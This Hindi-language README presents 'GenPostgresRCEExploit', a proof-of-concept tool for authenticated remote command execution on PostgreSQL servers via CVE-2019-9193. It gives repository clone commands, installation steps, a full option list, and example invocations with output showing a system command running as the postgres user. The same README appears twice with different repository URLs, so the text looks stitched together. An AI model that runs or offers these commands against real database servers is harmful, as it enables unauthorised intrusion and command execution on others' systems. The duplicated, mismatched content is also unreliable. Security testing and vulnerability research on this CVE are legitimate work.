
PostgreSQL के कुछ संस्करणों (9.3 - 11.7) में प्रमाणित रिमोट कोड निष्पादन (RCE) भेद्यता का शोषण करने के लिए डिज़ाइन किया गया PoC उपकरण
GenPostgresRCEExploit एक PoC टूल है जिसे PostgreSQL के कुछ संस्करणों (9.3 - 11.7) में एक प्रमाणित रिमोट कोड एक्ज़ीक्यूशन (RCE) कमज़ोरी का शोषण करने के लिए डिज़ाइन किया गया है। यह प्रमाणित उपयोगकर्ताओं को CVE-2019-9193 के प्रति संवेदनशील PostgreSQL डेटाबेस सर्वर पर सिस्टम कमांड निष्पादित करने की अनुमति देता है।
psycopg2)git clone https://github.com/AxthonyV/CVE-2019-9193
cd CVE-2019-9193
uv sync
python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"
-i, --ip: PostgreSQL सर्वर का IP पता (डिफ़ॉल्ट: 127.0.0.1)-p, --port: PostgreSQL सर्वर पोर्ट (डिफ़ॉल्ट: 5432)-d, --database: PostgreSQL डेटाबेस का नाम (डिफ़ॉल्ट: template1)-U, --user: PostgreSQL सर्वर से कनेक्ट करने के लिए उपयोगकर्ता नाम (डिफ़ॉल्ट: postgres)-P, --password: PostgreSQL सर्वर से कनेक्ट करने के लिए पासवर्ड (डिफ़ॉल्ट: postgres)-c, ---command: सर्वर पर निष्पादित की जाने वाली सिस्टम कमांड-t, --timeout: सेकंड में कनेक्शन टाइमआउट (डिफ़ॉल्ट: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
यह उदाहरण 192.168.1.10 पर PostgreSQL सर्वर से कनेक्ट होता है, दिए गए क्रेडेंशियल्स के साथ प्रमाणीकरण करता है, और whoami कमांड निष्पादित करता है।
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
यह टूल केवल शैक्षिक उद्देश्यों और नैतिक परीक्षण के लिए है। किसी भी सिस्टम के विरुद्ध इस टूल का अनधिकृत उपयोग अवैध है और सख्ती से प्रतिबंधित है। लेखक किसी भी दुरुपयोग की जिम्मेदारी नहीं लेते हैं।
GenPostgresRCEExploit एक PoC एक्सप्लॉइट है जिसे PostgreSQL के कुछ संस्करणों (9.3 - 11.7) में रिमोट कोड एक्ज़ीक्यूशन (RCE) कमज़ोरी का शोषण करने के लिए डिज़ाइन किया गया है। यह प्रोग्राम प्रमाणित उपयोगकर्ताओं को CVE-2019-9193 के प्रति संवेदनशील PostgreSQL सर्वर पर सिस्टम कमांड निष्पादित करने की अनुमति देता है।
psycopg2 पैकेज)git clone https://github.com/geniuszly/CVE-2019-9193
cd CVE-2019-9193
uv sync
python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"
-i, --ip: PostgreSQL सर्वर का IP पता (डिफ़ॉल्ट: 127.0.0.1)-p, --port: PostgreSQL सर्वर पोर्ट (डिफ़ॉल्ट: 5432)-d, --database: PostgreSQL डेटाबेस का नाम (डिफ़ॉल्ट: template1)-U, --user: PostgreSQL सर्वर से कनेक्ट करने के लिए उपयोगकर्ता नाम (डिफ़ॉल्ट: postgres)-P, --password: PostgreSQL सर्वर से कनेक्ट करने के लिए पासवर्ड (डिफ़ॉल्ट: postgres)-c, --command: सर्वर पर निष्पादित करने के लिए सिस्टम कमांड-t, --timeout: सेकंड में कनेक्शन टाइमआउट (डिफ़ॉल्ट: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
इस उदाहरण में, प्रोग्राम 192.168.1.10 पर PostgreSQL सर्वर से कनेक्ट होता है, निर्दिष्ट क्रेडेंशियल्स के साथ प्रमाणित करता है, और whoami कमांड निष्पादित करता है।
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
यह टूल केवल शैक्षिक उद्देश्यों और वैध परीक्षण के लिए है। किसी भी सिस्टम के विरुद्ध इस टूल का अनधिकृत उपयोग अवैध है और सख्ती से प्रतिबंधित है। लेखक किसी भी दुरुपयोग के लिए उत्तरदायी नहीं हैं।